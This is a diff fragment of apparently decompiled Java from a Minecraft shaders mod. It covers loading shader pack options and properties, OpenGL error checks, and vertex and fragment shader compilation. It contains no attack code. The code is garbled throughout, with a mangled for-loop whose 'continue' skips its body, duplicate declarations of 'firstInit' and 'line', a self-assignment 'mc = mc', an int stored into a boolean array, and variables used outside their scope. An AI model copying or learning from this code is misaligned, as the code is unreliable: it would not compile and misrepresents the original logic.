+    loadShaderPackResources();
+    loadShaderPackDimensions();
+    shaderPackOptions = loadShaderPackOptions();
+    loadShaderPackProperties();
+    boolean formatChanged1 = shaderPackLoaded ^ shaderPackLoadedPrev;
+    boolean oldLightingChanged = isOldLighting() ^ oldLightingPrev;
+    
+    if ((formatChanged1) || (oldLightingChanged))
+    {
+      net.minecraft.client.renderer.vertex.DefaultVertexFormats.updateVertexFormats();
+      
+      if (Reflector.LightUtil.exists())
+      {
+        Reflector.LightUtil_itemConsumer.setValue(null);
+        Reflector.LightUtil_tessellator.setValue(null);
+      }
+      
+      updateBlockLightLevel();
+      mc.func_175603_A();
+    }
+  }
+  
+  private static void loadShaderPackDimensions()
+  {
+    shaderPackDimensions.clear();
+    StringBuffer sb = new StringBuffer();
+    
+    for (int i = -128; i <= 128; i++)
+    {
+      String worldDir = "/shaders/world" + i;
+      
+      if (shaderPack.hasDirectory(worldDir))
+      {
+        shaderPackDimensions.add(Integer.valueOf(i));
+        sb.append(" " + i);
+      }
+    }
+    
+    if (sb.length() > 0)
+    {
+      Config.dbg("[Shaders] Dimensions:" + sb);
+    }
+  }
+  
+  private static void loadShaderPackProperties()
+  {
+    shaderPackClouds.resetValue();
+    shaderPackDynamicHandLight.resetValue();
+    shaderPackOldLighting.resetValue();
+    
+    if (shaderPack != null)
+    {
+      String path = "/shaders/shaders.properties";
+      
+      try
+      {
+        InputStream e = shaderPack.getResourceAsStream(path);
+        
+        if (e == null)
+        {
+          return;
+        }
+        
+        PropertiesOrdered props = new PropertiesOrdered();
+        props.load(e);
+        e.close();
+        shaderPackClouds.loadFrom(props);
+        shaderPackDynamicHandLight.loadFrom(props);
+        shaderPackOldLighting.loadFrom(props);
+        shaderPackProfiles = ShaderPackParser.parseProfiles(props, shaderPackOptions);
+        shaderPackGuiScreens = ShaderPackParser.parseGuiScreens(props, shaderPackProfiles, shaderPackOptions);
+      }
+      catch (IOException var3)
+      {
+        Config.warn("[Shaders] Error reading: " + path);
+      }
+    }
+  }
+  
+  public static ShaderOption[] getShaderPackOptions(String screenName)
+  {
+    ShaderOption[] ops = (ShaderOption[])shaderPackOptions.clone();
+    
+    if (shaderPackGuiScreens == null)
+    {
+      if (shaderPackProfiles != null)
+      {
+        ShaderOptionProfile var8 = new ShaderOptionProfile(shaderPackProfiles, ops);
+        ops = (ShaderOption[])Config.addObjectToArray(ops, var8, 0);
+      }
+      
+      ops = getVisibleOptions(ops);
+      return ops;
+    }
+    
+
+    String key = screenName != null ? "screen." + screenName : "screen";
+    ShaderOption[] sos = (ShaderOption[])shaderPackGuiScreens.get(key);
+    
+    if (sos == null)
+    {
+      return new ShaderOption[0];
+    }
+    
+
+    ArrayList list = new ArrayList();
+    
+    for (int sosExp = 0; sosExp < sos.length; sosExp++)
+    {
+      ShaderOption so = sos[sosExp];
+      
+      if (so == null)
+      {
+        list.add(null);
+      }
+      else if ((so instanceof ShaderOptionRest))
+      {
+        ShaderOption[] restOps = getShaderOptionsRest(shaderPackGuiScreens, ops);
+        list.addAll(Arrays.asList(restOps));
+      }
+      else
+      {
+        list.add(so);
+      }
+    }
+    
+    ShaderOption[] var9 = (ShaderOption[])list.toArray(new ShaderOption[list.size()]);
+    return var9;
+  }
+  
+
+
+  private static ShaderOption[] getShaderOptionsRest(Map<String, ShaderOption[]> mapScreens, ShaderOption[] ops)
+  {
+    HashSet setNames = new HashSet();
+    Set keys = mapScreens.keySet();
+    Iterator list = keys.iterator();
+    ShaderOption[] so;
+    int name; for (; list.hasNext(); 
+        
+
+
+
+        name < so.length)
+    {
+      String sos = (String)list.next();
+      so = (ShaderOption[])mapScreens.get(sos);
+      
+      name = 0; continue;
+      
+      ShaderOption so1 = so[name];
+      
+      if (so1 != null)
+      {
+        setNames.add(so1.getName());
+      }
+      name++;
+    }
+    
+
+
+
+
+
+
+
+
+    ArrayList var9 = new ArrayList();
+    
+    for (int var10 = 0; var10 < ops.length; var10++)
+    {
+      ShaderOption var12 = ops[var10];
+      
+      if (var12.isVisible())
+      {
+        String var13 = var12.getName();
+        
+        if (!setNames.contains(var13))
+        {
+          var9.add(var12);
+        }
+      }
+    }
+    
+    ShaderOption[] var11 = (ShaderOption[])var9.toArray(new ShaderOption[var9.size()]);
+    return var11;
+  }
+  
+  public static ShaderOption getShaderOption(String name)
+  {
+    return ShaderUtils.getShaderOption(name, shaderPackOptions);
+  }
+  
+  public static ShaderOption[] getShaderPackOptions()
+  {
+    return shaderPackOptions;
+  }
+  
+  private static ShaderOption[] getVisibleOptions(ShaderOption[] ops)
+  {
+    ArrayList list = new ArrayList();
+    
+    for (int sos = 0; sos < ops.length; sos++)
+    {
+      ShaderOption so = ops[sos];
+      
+      if (so.isVisible())
+      {
+        list.add(so);
+      }
+    }
+    
+    ShaderOption[] var4 = (ShaderOption[])list.toArray(new ShaderOption[list.size()]);
+    return var4;
+  }
+  
+  public static void saveShaderPackOptions()
+  {
+    saveShaderPackOptions(shaderPackOptions, shaderPack);
+  }
+  
+  private static void saveShaderPackOptions(ShaderOption[] sos, IShaderPack sp)
+  {
+    Properties props = new Properties();
+    
+    if (shaderPackOptions != null)
+    {
+      for (int e = 0; e < sos.length; e++)
+      {
+        ShaderOption so = sos[e];
+        
+        if ((so.isChanged()) && (so.isEnabled()))
+        {
+          props.setProperty(so.getName(), so.getValue());
+        }
+      }
+    }
+    
+    try
+    {
+      saveOptionProperties(sp, props);
+    }
+    catch (IOException var5)
+    {
+      Config.warn("[Shaders] Error saving configuration for " + shaderPack.getName());
+      var5.printStackTrace();
+    }
+  }
+  
+  private static void saveOptionProperties(IShaderPack sp, Properties props) throws IOException
+  {
+    String path = shaderpacksdirname + "/" + sp.getName() + ".txt";
+    File propFile = new File(getMinecraftmcDataDir, path);
+    
+    if (props.isEmpty())
+    {
+      propFile.delete();
+    }
+    else
+    {
+      FileOutputStream fos = new FileOutputStream(propFile);
+      props.store(fos, null);
+      fos.flush();
+      fos.close();
+    }
+  }
+  
+  private static ShaderOption[] loadShaderPackOptions()
+  {
+    try
+    {
+      ShaderOption[] e = ShaderPackParser.parseShaderPackOptions(shaderPack, programNames, shaderPackDimensions);
+      Properties props = loadOptionProperties(shaderPack);
+      
+      for (int i = 0; i < e.length; i++)
+      {
+        ShaderOption so = e[i];
+        String val = props.getProperty(so.getName());
+        
+        if (val != null)
+        {
+          so.resetValue();
+          
+          if (!so.setValue(val))
+          {
+            Config.warn("[Shaders] Invalid value, option: " + so.getName() + ", value: " + val);
+          }
+        }
+      }
+      
+      return e;
+    }
+    catch (IOException var5)
+    {
+      Config.warn("[Shaders] Error reading configuration for " + shaderPack.getName());
+      var5.printStackTrace(); }
+    return null;
+  }
+  
+  private static Properties loadOptionProperties(IShaderPack sp)
+    throws IOException
+  {
+    Properties props = new Properties();
+    String path = shaderpacksdirname + "/" + sp.getName() + ".txt";
+    File propFile = new File(getMinecraftmcDataDir, path);
+    
+    if ((propFile.exists()) && (propFile.isFile()) && (propFile.canRead()))
+    {
+      FileInputStream fis = new FileInputStream(propFile);
+      props.load(fis);
+      fis.close();
+      return props;
+    }
+    
+
+    return props;
+  }
+  
+
+  public static ShaderOption[] getChangedOptions(ShaderOption[] ops)
+  {
+    ArrayList list = new ArrayList();
+    
+    for (int cops = 0; cops < ops.length; cops++)
+    {
+      ShaderOption op = ops[cops];
+      
+      if ((op.isEnabled()) && (op.isChanged()))
+      {
+        list.add(op);
+      }
+    }
+    
+    ShaderOption[] var4 = (ShaderOption[])list.toArray(new ShaderOption[list.size()]);
+    return var4;
+  }
+  
+  private static String applyOptions(String line, ShaderOption[] ops)
+  {
+    if ((ops != null) && (ops.length > 0))
+    {
+      for (int i = 0; i < ops.length; i++)
+      {
+        ShaderOption op = ops[i];
+        String opName = op.getName();
+        
+        if (op.matchesLine(line))
+        {
+          line = op.getSourceLine();
+          break;
+        }
+      }
+      
+      return line;
+    }
+    
+
+    return line;
+  }
+  
+
+  static ArrayList listOfShaders()
+  {
+    ArrayList list = new ArrayList();
+    list.add(packNameNone);
+    list.add(packNameDefault);
+    
+    try
+    {
+      if (!shaderpacksdir.exists())
+      {
+        shaderpacksdir.mkdir();
+      }
+      
+      File[] e = shaderpacksdir.listFiles();
+      
+      for (int i = 0; i < e.length; i++)
+      {
+        File file = e[i];
+        String name = file.getName();
+        
+        if (file.isDirectory())
+        {
+          File subDir = new File(file, "shaders");
+          
+          if ((subDir.exists()) && (subDir.isDirectory()))
+          {
+            list.add(name);
+          }
+        }
+        else if ((file.isFile()) && (name.toLowerCase().endsWith(".zip")))
+        {
+          list.add(name);
+        }
+      }
+    }
+    catch (Exception localException) {}
+    
+
+
+
+    return list;
+  }
+  
+  static String versiontostring(int vv)
+  {
+    String vs = Integer.toString(vv);
+    return Integer.toString(Integer.parseInt(vs.substring(1, 3))) + "." + Integer.toString(Integer.parseInt(vs.substring(3, 5))) + "." + Integer.toString(Integer.parseInt(vs.substring(5)));
+  }
+  
+
+
+  public static int checkFramebufferStatus(String location)
+  {
+    int status = EXTFramebufferObject.glCheckFramebufferStatusEXT(36160);
+    
+    if (status != 36053)
+    {
+      System.err.format("FramebufferStatus 0x%04X at %s\n", new Object[] { Integer.valueOf(status), location });
+    }
+    
+    return status;
+  }
+  
+  public static int checkGLError(String location)
+  {
+    int errorCode = GL11.glGetError();
+    
+    if (errorCode != 0)
+    {
+      boolean skipPrint = false;
+      
+      if (!skipPrint)
+      {
+        if (errorCode == 1286)
+        {
+          int status = EXTFramebufferObject.glCheckFramebufferStatusEXT(36160);
+          System.err.format("GL error 0x%04X: %s (Fb status 0x%04X) at %s\n", new Object[] { Integer.valueOf(errorCode), GLU.gluErrorString(errorCode), Integer.valueOf(status), location });
+        }
+        else
+        {
+          System.err.format("GL error 0x%04X: %s at %s\n", new Object[] { Integer.valueOf(errorCode), GLU.gluErrorString(errorCode), location });
+        }
+      }
+    }
+    
+    return errorCode;
+  }
+  
+  public static int checkGLError(String location, String info)
+  {
+    int errorCode = GL11.glGetError();
+    
+    if (errorCode != 0)
+    {
+      System.err.format("GL error 0x%04x: %s at %s %s\n", new Object[] { Integer.valueOf(errorCode), GLU.gluErrorString(errorCode), location, info });
+    }
+    
+    return errorCode;
+  }
+  
+  public static int checkGLError(String location, String info1, String info2)
+  {
+    int errorCode = GL11.glGetError();
+    
+    if (errorCode != 0)
+    {
+      System.err.format("GL error 0x%04x: %s at %s %s %s\n", new Object[] { Integer.valueOf(errorCode), GLU.gluErrorString(errorCode), location, info1, info2 });
+    }
+    
+    return errorCode;
+  }
+  
+  private static void printChat(String str)
+  {
+    mcingameGUI.getChatGUI().printChatMessage(new ChatComponentText(str));
+  }
+  
+  private static void printChatAndLogError(String str)
+  {
+    SMCLog.severe(str);
+    mcingameGUI.getChatGUI().printChatMessage(new ChatComponentText(str));
+  }
+  
+  public static void printIntBuffer(String title, IntBuffer buf)
+  {
+    StringBuilder sb = new StringBuilder(128);
+    sb.append(title).append(" [pos ").append(buf.position()).append(" lim ").append(buf.limit()).append(" cap ").append(buf.capacity()).append(" :");
+    int lim = buf.limit();
+    
+    for (int i = 0; i < lim; i++)
+    {
+      sb.append(" ").append(buf.get(i));
+    }
+    
+    sb.append("]");
+    SMCLog.info(sb.toString());
+  }
+  
+  public static void startup(Minecraft mc)
+  {
+    checkShadersModInstalled();
+    mc = mc;
+    capabilities = GLContext.getCapabilities();
+    glVersionString = GL11.glGetString(7938);
+    glVendorString = GL11.glGetString(7936);
+    glRendererString = GL11.glGetString(7937);
+    SMCLog.info("ShadersMod version: 2.4.12");
+    SMCLog.info("OpenGL Version: " + glVersionString);
+    SMCLog.info("Vendor:  " + glVendorString);
+    SMCLog.info("Renderer: " + glRendererString);
+    SMCLog.info("Capabilities: " + (capabilitiesOpenGL20 ? " 2.0 " : " - ") + (capabilitiesOpenGL21 ? " 2.1 " : " - ") + (capabilitiesOpenGL30 ? " 3.0 " : " - ") + (capabilitiesOpenGL32 ? " 3.2 " : " - ") + (capabilitiesOpenGL40 ? " 4.0 " : " - "));
+    SMCLog.info("GL_MAX_DRAW_BUFFERS: " + GL11.glGetInteger(34852));
+    SMCLog.info("GL_MAX_COLOR_ATTACHMENTS_EXT: " + GL11.glGetInteger(36063));
+    SMCLog.info("GL_MAX_TEXTURE_IMAGE_UNITS: " + GL11.glGetInteger(34930));
+    hasGlGenMipmap = capabilitiesOpenGL30;
+    loadConfig();
+  }
+  
+  private static String toStringYN(boolean b)
+  {
+    return b ? "Y" : "N";
+  }
+  
+  public static void updateBlockLightLevel()
+  {
+    if (isOldLighting())
+    {
+      blockLightLevel05 = 0.5F;
+      blockLightLevel06 = 0.6F;
+      blockLightLevel08 = 0.8F;
+    }
+    else
+    {
+      blockLightLevel05 = 1.0F;
+      blockLightLevel06 = 1.0F;
+      blockLightLevel08 = 1.0F;
+    }
+  }
+  
+  public static boolean isDynamicHandLight()
+  {
+    return !shaderPackDynamicHandLight.isDefault() ? shaderPackDynamicHandLight.isTrue() : true;
+  }
+  
+  public static boolean isOldLighting()
+  {
+    return !shaderPackOldLighting.isDefault() ? shaderPackOldLighting.isTrue() : !configOldLighting.isDefault() ? configOldLighting.isTrue() : true;
+  }
+  
+  public static void init()
+  {
+    boolean firstInit;
+    boolean firstInit;
+    if (!isInitializedOnce)
+    {
+      isInitializedOnce = true;
+      firstInit = true;
+    }
+    else
+    {
+      firstInit = false;
+    }
+    
+    if (!isShaderPackInitialized)
+    {
+      checkGLError("Shaders.init pre");
+      
+      if ((getShaderPackName() == null) || 
+      
+
+
+
+        (!capabilitiesOpenGL20))
+      {
+        printChatAndLogError("No OpenGL 2.0");
+      }
+      
+      if (!capabilitiesGL_EXT_framebuffer_object)
+      {
+        printChatAndLogError("No EXT_framebuffer_object");
+      }
+      
+      dfbDrawBuffers.position(0).limit(8);
+      dfbColorTextures.position(0).limit(16);
+      dfbDepthTextures.position(0).limit(3);
+      sfbDrawBuffers.position(0).limit(8);
+      sfbDepthTextures.position(0).limit(2);
+      sfbColorTextures.position(0).limit(8);
+      usedColorBuffers = 4;
+      usedDepthBuffers = 1;
+      usedShadowColorBuffers = 0;
+      usedShadowDepthBuffers = 0;
+      usedColorAttachs = 1;
+      usedDrawBuffers = 1;
+      Arrays.fill(gbuffersFormat, 6408);
+      Arrays.fill(shadowHardwareFilteringEnabled, false);
+      Arrays.fill(shadowMipmapEnabled, false);
+      Arrays.fill(shadowFilterNearest, false);
+      Arrays.fill(shadowColorMipmapEnabled, false);
+      Arrays.fill(shadowColorFilterNearest, false);
+      centerDepthSmoothEnabled = false;
+      noiseTextureEnabled = false;
+      sunPathRotation = 0.0F;
+      shadowIntervalSize = 2.0F;
+      aoLevel = 0.8F;
+      blockAoLight = 1.0F - aoLevel;
+      useEntityAttrib = false;
+      useMidTexCoordAttrib = false;
+      useMultiTexCoord3Attrib = false;
+      useTangentAttrib = false;
+      waterShadowEnabled = false;
+      updateChunksErrorRecorded = false;
+      updateBlockLightLevel();
+      ShaderProfile activeProfile = ShaderUtils.detectProfile(shaderPackProfiles, shaderPackOptions, false);
+      String worldPrefix = "";
+      
+
+      if (currentWorld != null)
+      {
+        int maxDrawBuffers = currentWorldprovider.getDimensionId();
+        
+        if (shaderPackDimensions.contains(Integer.valueOf(maxDrawBuffers)))
+        {
+          worldPrefix = "world" + maxDrawBuffers + "/";
+        }
+      }
+      
+      if (saveFinalShaders)
+      {
+        clearDirectory(new File(shaderpacksdir, "debug"));
+      }
+      
+
+
+      for (int maxDrawBuffers = 0; maxDrawBuffers < 33; maxDrawBuffers++)
+      {
+        String drawBuffersMap = programNames[maxDrawBuffers];
+        
+        if (drawBuffersMap.equals(""))
+        {
+          int tmp391_390 = 0;programsRef[maxDrawBuffers] = tmp391_390;programsID[maxDrawBuffers] = tmp391_390;
+          programsDrawBufSettings[maxDrawBuffers] = null;
+          programsColorAtmSettings[maxDrawBuffers] = null;
+          programsCompositeMipmapSetting[maxDrawBuffers] = 0;
+        }
+        else
+        {
+          newDrawBufSetting = null;
+          newColorAtmSetting = null;
+          newCompositeMipmapSetting = 0;
+          String i = worldPrefix + drawBuffersMap;
+          
+          if ((activeProfile != null) && (activeProfile.isProgramDisabled(i)))
+          {
+            SMCLog.info("Program disabled: " + i);
+            drawBuffersMap = "<disabled>";
+            i = worldPrefix + drawBuffersMap;
+          }
+          
+          String n = "/shaders/" + i;
+          int intbuf = setupProgram(maxDrawBuffers, n + ".vsh", n + ".fsh");
+          
+          if (intbuf > 0)
+          {
+            SMCLog.info("Program loaded: " + i);
+          }
+          
+          int tmp612_610 = intbuf;programsRef[maxDrawBuffers] = tmp612_610;programsID[maxDrawBuffers] = tmp612_610;
+          programsDrawBufSettings[maxDrawBuffers] = (intbuf != 0 ? newDrawBufSetting : null);
+          programsColorAtmSettings[maxDrawBuffers] = (intbuf != 0 ? newColorAtmSetting : null);
+          programsCompositeMipmapSetting[maxDrawBuffers] = (intbuf != 0 ? newCompositeMipmapSetting : 0);
+        }
+      }
+      
+      maxDrawBuffers = GL11.glGetInteger(34852);
+      new HashMap();
+      
+
+      for (int var12 = 0; var12 < 33; var12++)
+      {
+        Arrays.fill(programsToggleColorTextures[var12], false);
+        
+        if (var12 == 29)
+        {
+          programsDrawBuffers[var12] = null;
+        }
+        else if (programsID[var12] == 0)
+        {
+          if (var12 == 30)
+          {
+            programsDrawBuffers[var12] = drawBuffersNone;
+          }
+          else
+          {
+            programsDrawBuffers[var12] = drawBuffersColorAtt0;
+          }
+        }
+        else
+        {
+          String n = programsDrawBufSettings[var12];
+          
+          if (n != null)
+          {
+            IntBuffer var14 = drawBuffersBuffer[var12];
+            int numDB = n.length();
+            
+            if (numDB > usedDrawBuffers)
+            {
+              usedDrawBuffers = numDB;
+            }
+            
+            if (numDB > maxDrawBuffers)
+            {
+              numDB = maxDrawBuffers;
+            }
+            
+            programsDrawBuffers[var12] = var14;
+            var14.limit(numDB);
+            
+            for (int i1 = 0; i1 < numDB; i1++)
+            {
+              int drawBuffer = 0;
+              
+              if (n.length() > i1)
+              {
+                int ca = n.charAt(i1) - '0';
+                
+                if (var12 != 30)
+                {
+                  if ((ca >= 0) && (ca <= 7))
+                  {
+                    programsToggleColorTextures[var12][ca] = 1;
+                    drawBuffer = ca + 36064;
+                    
+                    if (ca > usedColorAttachs)
+                    {
+                      usedColorAttachs = ca;
+                    }
+                    
+                    if (ca > usedColorBuffers)
+                    {
+                      usedColorBuffers = ca;
+                    }
+                  }
+                }
+                else if ((ca >= 0) && (ca <= 1))
+                {
+                  drawBuffer = ca + 36064;
+                  
+                  if (ca > usedShadowColorBuffers)
+                  {
+                    usedShadowColorBuffers = ca;
+                  }
+                }
+              }
+              
+              var14.put(i1, drawBuffer);
+            }
+          }
+          else if ((var12 != 30) && (var12 != 31) && (var12 != 32))
+          {
+            programsDrawBuffers[var12] = dfbDrawBuffers;
+            usedDrawBuffers = usedColorBuffers;
+            Arrays.fill(programsToggleColorTextures[var12], 0, usedColorBuffers, true);
+          }
+          else
+          {
+            programsDrawBuffers[var12] = sfbDrawBuffers;
+          }
+        }
+      }
+      
+      usedColorAttachs = usedColorBuffers;
+      shadowPassInterval = usedShadowDepthBuffers > 0 ? 1 : 0;
+      shouldSkipDefaultShadow = usedShadowDepthBuffers > 0;
+      SMCLog.info("usedColorBuffers: " + usedColorBuffers);
+      SMCLog.info("usedDepthBuffers: " + usedDepthBuffers);
+      SMCLog.info("usedShadowColorBuffers: " + usedShadowColorBuffers);
+      SMCLog.info("usedShadowDepthBuffers: " + usedShadowDepthBuffers);
+      SMCLog.info("usedColorAttachs: " + usedColorAttachs);
+      SMCLog.info("usedDrawBuffers: " + usedDrawBuffers);
+      dfbDrawBuffers.position(0).limit(usedDrawBuffers);
+      dfbColorTextures.position(0).limit(usedColorBuffers * 2);
+      
+      for (var12 = 0; var12 < usedDrawBuffers; var12++)
+      {
+        dfbDrawBuffers.put(var12, 36064 + var12);
+      }
+      
+      if (usedDrawBuffers > maxDrawBuffers)
+      {
+        printChatAndLogError("[Shaders] Error: Not enough draw buffers, needed: " + usedDrawBuffers + ", available: " + maxDrawBuffers);
+      }
+      
+      sfbDrawBuffers.position(0).limit(usedShadowColorBuffers);
+      
+      for (var12 = 0; var12 < usedShadowColorBuffers; var12++)
+      {
+        sfbDrawBuffers.put(var12, 36064 + var12);
+      }
+      
+      for (var12 = 0; var12 < 33; var12++)
+      {
+
+
+        for (int var13 = var12; (programsID[var13] == 0) && (programBackups[var13] != var13); var13 = programBackups[var13]) {}
+        
+
+
+
+        if ((var13 != var12) && (var12 != 30))
+        {
+          programsID[var12] = programsID[var13];
+          programsDrawBufSettings[var12] = programsDrawBufSettings[var13];
+          programsDrawBuffers[var12] = programsDrawBuffers[var13];
+        }
+      }
+      
+      resize();
+      resizeShadow();
+      
+      if (noiseTextureEnabled)
+      {
+        setupNoiseTexture();
+      }
+      
+      if (defaultTexture == null)
+      {
+        defaultTexture = ShadersTex.createDefaultTexture();
+      }
+      
+      GlStateManager.pushMatrix();
+      GlStateManager.rotate(-90.0F, 0.0F, 1.0F, 0.0F);
+      preCelestialRotate();
+      postCelestialRotate();
+      GlStateManager.popMatrix();
+      isShaderPackInitialized = true;
+      loadEntityDataMap();
+      resetDisplayList();
+      
+      if (!firstInit) {}
+      
+
+
+
+      checkGLError("Shaders.init");
+    }
+  }
+  
+  public static void resetDisplayList()
+  {
+    numberResetDisplayList += 1;
+    needResetModels = true;
+    SMCLog.info("Reset world renderers");
+    mcrenderGlobal.loadRenderers();
+  }
+  
+  public static void resetDisplayListModels()
+  {
+    if (needResetModels)
+    {
+      needResetModels = false;
+      SMCLog.info("Reset model renderers");
+      Iterator it = mc.getRenderManager().getEntityRenderMap().values().iterator();
+      
+      while (it.hasNext())
+      {
+        Render ren = (Render)it.next();
+        
+        if ((ren instanceof RendererLivingEntity))
+        {
+          RendererLivingEntity rle = (RendererLivingEntity)ren;
+          resetDisplayListModel(rle.getMainModel());
+        }
+      }
+    }
+  }
+  
+  public static void resetDisplayListModel(ModelBase model)
+  {
+    if (model != null)
+    {
+      Iterator it = boxList.iterator();
+      
+      while (it.hasNext())
+      {
+        Object obj = it.next();
+        
+        if ((obj instanceof ModelRenderer))
+        {
+          resetDisplayListModelRenderer((ModelRenderer)obj);
+        }
+      }
+    }
+  }
+  
+  public static void resetDisplayListModelRenderer(ModelRenderer mrr)
+  {
+    mrr.resetDisplayList();
+    
+    if (childModels != null)
+    {
+      int i = 0;
+      
+      for (int n = childModels.size(); i < n; i++)
+      {
+        resetDisplayListModelRenderer((ModelRenderer)childModels.get(i));
+      }
+    }
+  }
+  
+  private static int setupProgram(int program, String vShaderPath, String fShaderPath)
+  {
+    checkGLError("pre setupProgram");
+    int programid = ARBShaderObjects.glCreateProgramObjectARB();
+    checkGLError("create");
+    
+    if (programid != 0)
+    {
+      progUseEntityAttrib = false;
+      progUseMidTexCoordAttrib = false;
+      progUseTangentAttrib = false;
+      int vShader = createVertShader(vShaderPath);
+      int fShader = createFragShader(fShaderPath);
+      checkGLError("create");
+      
+      if ((vShader == 0) && (fShader == 0))
+      {
+        ARBShaderObjects.glDeleteObjectARB(programid);
+        programid = 0;
+      }
+      else
+      {
+        if (vShader != 0)
+        {
+          ARBShaderObjects.glAttachObjectARB(programid, vShader);
+          checkGLError("attach");
+        }
+        
+        if (fShader != 0)
+        {
+          ARBShaderObjects.glAttachObjectARB(programid, fShader);
+          checkGLError("attach");
+        }
+        
+        if (progUseEntityAttrib)
+        {
+          ARBVertexShader.glBindAttribLocationARB(programid, entityAttrib, "mc_Entity");
+          checkGLError("mc_Entity");
+        }
+        
+        if (progUseMidTexCoordAttrib)
+        {
+          ARBVertexShader.glBindAttribLocationARB(programid, midTexCoordAttrib, "mc_midTexCoord");
+          checkGLError("mc_midTexCoord");
+        }
+        
+        if (progUseTangentAttrib)
+        {
+          ARBVertexShader.glBindAttribLocationARB(programid, tangentAttrib, "at_tangent");
+          checkGLError("at_tangent");
+        }
+        
+        ARBShaderObjects.glLinkProgramARB(programid);
+        
+        if (GL20.glGetProgrami(programid, 35714) != 1)
+        {
+          SMCLog.severe("Error linking program: " + programid);
+        }
+        
+        printLogInfo(programid, vShaderPath + ", " + fShaderPath);
+        
+        if (vShader != 0)
+        {
+          ARBShaderObjects.glDetachObjectARB(programid, vShader);
+          ARBShaderObjects.glDeleteObjectARB(vShader);
+        }
+        
+        if (fShader != 0)
+        {
+          ARBShaderObjects.glDetachObjectARB(programid, fShader);
+          ARBShaderObjects.glDeleteObjectARB(fShader);
+        }
+        
+        programsID[program] = programid;
+        useProgram(program);
+        ARBShaderObjects.glValidateProgramARB(programid);
+        useProgram(0);
+        printLogInfo(programid, vShaderPath + ", " + fShaderPath);
+        int valid = GL20.glGetProgrami(programid, 35715);
+        
+        if (valid != 1)
+        {
+          String Q = "\"";
+          printChatAndLogError("[Shaders] Error: Invalid program " + Q + programNames[program] + Q);
+          ARBShaderObjects.glDeleteObjectARB(programid);
+          programid = 0;
+        }
+      }
+    }
+    
+    return programid;
+  }
+  
+  private static int createVertShader(String filename)
+  {
+    int vertShader = ARBShaderObjects.glCreateShaderObjectARB(35633);
+    
+    if (vertShader == 0)
+    {
+      return 0;
+    }
+    
+
+    StringBuilder vertexCode = new StringBuilder(131072);
+    BufferedReader reader = null;
+    
+    try
+    {
+      reader = new BufferedReader(new InputStreamReader(shaderPack.getResourceAsStream(filename)));
+    }
+    catch (Exception var8)
+    {
+      try
+      {
+        reader = new BufferedReader(new FileReader(new File(filename)));
+      }
+      catch (Exception var7)
+      {
+        ARBShaderObjects.glDeleteObjectARB(vertShader);
+        return 0;
+      }
+    }
+    
+    ShaderOption[] activeOptions = getChangedOptions(shaderPackOptions);
+    
+    if (reader != null)
+    {
+      try
+      {
+        reader = ShaderPackParser.resolveIncludes(reader, filename, shaderPack, 0);
+        
+        String line;
+        while ((line = reader.readLine()) != null)
+        {
+          String line = applyOptions(line, activeOptions);
+          vertexCode.append(line).append('\n');
+          
+          if (line.matches("attribute [_a-zA-Z0-9]+ mc_Entity.*"))
+          {
+            useEntityAttrib = true;
+            progUseEntityAttrib = true;
+          }
+          else if (line.matches("attribute [_a-zA-Z0-9]+ mc_midTexCoord.*"))
+          {
+            useMidTexCoordAttrib = true;
+            progUseMidTexCoordAttrib = true;
+          }
+          else if (line.matches(".*gl_MultiTexCoord3.*"))
+          {
+            useMultiTexCoord3Attrib = true;
+          }
+          else if (line.matches("attribute [_a-zA-Z0-9]+ at_tangent.*"))
+          {
+            useTangentAttrib = true;
+            progUseTangentAttrib = true;
+          }
+        }
+        
+        reader.close();
+      }
+      catch (Exception var9)
+      {
+        SMCLog.severe("Couldn't read " + filename + "!");
+        var9.printStackTrace();
+        ARBShaderObjects.glDeleteObjectARB(vertShader);
+        return 0;
+      }
+    }
+    
+    if (saveFinalShaders)
+    {
+      saveShader(filename, vertexCode.toString());
+    }
+    
+    ARBShaderObjects.glShaderSourceARB(vertShader, vertexCode);
+    ARBShaderObjects.glCompileShaderARB(vertShader);
+    
+    if (GL20.glGetShaderi(vertShader, 35713) != 1)
+    {
+      SMCLog.severe("Error compiling vertex shader: " + filename);
+    }
+    
+    printShaderLogInfo(vertShader, filename);
+    return vertShader;
+  }
+  
+
+  private static int createFragShader(String filename)
+  {
+    int fragShader = ARBShaderObjects.glCreateShaderObjectARB(35632);
+    
+    if (fragShader == 0)
+    {
+      return 0;
+    }
+    
+
+    StringBuilder fragCode = new StringBuilder(131072);
+    BufferedReader reader = null;
+    
+    try
+    {
+      reader = new BufferedReader(new InputStreamReader(shaderPack.getResourceAsStream(filename)));
+    }
+    catch (Exception var12)
+    {
+      try
+      {
+        reader = new BufferedReader(new FileReader(new File(filename)));
+      }
+      catch (Exception var11)
+      {
+        ARBShaderObjects.glDeleteObjectARB(fragShader);
+        return 0;
+      }
+    }
+    
+    ShaderOption[] activeOptions = getChangedOptions(shaderPackOptions);
+    
+    if (reader != null)
+    {
+      try
+      {
+        reader = ShaderPackParser.resolveIncludes(reader, filename, shaderPack, 0);
+        
+        String line;
+        while ((line = reader.readLine()) != null)
+        {
+          String line = applyOptions(line, activeOptions);
+          fragCode.append(line).append('\n');
+          
+          if (!line.matches("#version .*"))
+          {
+            if (line.matches("uniform [ _a-zA-Z0-9]+ shadow;.*"))
+            {
+              if (usedShadowDepthBuffers < 1)
+              {
+                usedShadowDepthBuffers = 1;
+              }
+            }
+            else if (line.matches("uniform [ _a-zA-Z0-9]+ watershadow;.*"))
+            {
+              waterShadowEnabled = true;
+              
+              if (usedShadowDepthBuffers < 2)
+              {
+                usedShadowDepthBuffers = 2;
+              }
+            }
+            else if (line.matches("uniform [ _a-zA-Z0-9]+ shadowtex0;.*"))
+            {
+              if (usedShadowDepthBuffers < 1)
+              {
+                usedShadowDepthBuffers = 1;
+              }
+            }
+            else if (line.matches("uniform [ _a-zA-Z0-9]+ shadowtex1;.*"))
+            {
+              if (usedShadowDepthBuffers < 2)
+              {
+                usedShadowDepthBuffers = 2;
+              }
+            }
+            else if (line.matches("uniform [ _a-zA-Z0-9]+ shadowcolor;.*"))
+            {
+              if (usedShadowColorBuffers < 1)
+              {
+                usedShadowColorBuffers = 1;
+              }
+            }
+            else if (line.matches("uniform [ _a-zA-Z0-9]+ shadowcolor0;.*"))
+            {
+              if (usedShadowColorBuffers < 1)
+              {
+                usedShadowColorBuffers = 1;
+              }
+            }
+            else if (line.matches("uniform [ _a-zA-Z0-9]+ shadowcolor1;.*"))
+            {
+              if (usedShadowColorBuffers < 2)
+              {
+                usedShadowColorBuffers = 2;
+              }
+            }
+            else if (line.matches("uniform [ _a-zA-Z0-9]+ shadowcolor2;.*"))
+            {
+              if (usedShadowColorBuffers < 3)
+              {
